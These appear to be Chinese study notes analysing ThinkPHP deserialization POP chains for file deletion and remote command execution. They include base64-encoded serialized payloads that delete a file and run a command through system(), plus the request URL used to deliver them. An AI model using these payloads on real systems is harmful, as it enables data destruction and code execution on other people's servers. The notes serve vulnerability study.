DAY111PHP开发框架&THIKNPHP&反序列化&POP利用链&RCE执行&文件删除

一、文件删除利用链分析

1、__destruct发现调用$this->removeFiles();

2、removeFiles();函数方法file_exists,@unlink($filename);文件删除功能

3、unserialize(base64_decode($_GET['id']));

有可控变量

4、pop文件删除利用链的使用

只有在这个类中调用

Files可控数组

5、Poc实现

路由关系

application/index/controller/Index.php

http://tp-serilize/index.php/index/index/unser?id=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjg6ImQ6XDEudHh0Ijt9fQ==

6、动态调试

二、RCE利用链分析

1、动态调试分析

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo2OiJjb2xlYWsiO2E6MTp7aTowO3M6MDoiIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NjoiY29sZWFrIjtPOjEzOiJ0aGlua1xSZXF1ZXN0Ijo1OntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjg7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fXM6MTM6IgAqAG1lcmdlUGFyYW0iO2I6MTtzOjg6IgAqAHBhcmFtIjthOjE6e2k6MDtzOjc6Im5vdGVwYWQiO31zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19

从下到上的利用链利用

1、文件删除poc-》rce利用

//__destruct->removeFiles->file_exists->

$filename未对象时候触发__toString

2、__toString利用链分析

//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法

3、call利用链分析

hook[method\], args

-》method, args

4、逆向分析call_user_func

filterValue

5、input方法触发分析

6、param被谁触发

被isAjax触发了

7、call方法调用了

8、利用链不会xie

相关推荐
云朵大王7 分钟前
SQL 视图与事务知识点详解及练习题
java·大数据·数据库
nightunderblackcat14 分钟前
新手向:使用Python将多种图像格式统一转换为JPG
开发语言·python
我爱Jack29 分钟前
深入解析 LinkedList
java·开发语言
engchina40 分钟前
Python PDF处理库深度对比:PyMuPDF、pypdfium2、pdfplumber、pdfminer的关系与区别
开发语言·python·pdf
拓端研究室42 分钟前
专题:2025供应链数智化与效率提升报告|附100+份报告PDF、原数据表汇总下载
开发语言·php
一百天成为python专家1 小时前
python库之jieba 库
开发语言·人工智能·python·深度学习·机器学习·pycharm·python3.11
Go Dgg1 小时前
【Go + Gin 实现「双 Token」管理员登录】
开发语言·golang·gin
番茄老夫子1 小时前
可穿戴智能硬件在国家安全领域的应用
安全·智能硬件
27669582922 小时前
tiktok 弹幕 逆向分析
java·python·tiktok·tiktok弹幕·tiktok弹幕逆向分析·a-bogus·x-gnarly
十五年专注C++开发2 小时前
hiredis: 一个轻量级、高性能的 C 语言 Redis 客户端库
开发语言·数据库·c++·redis·缓存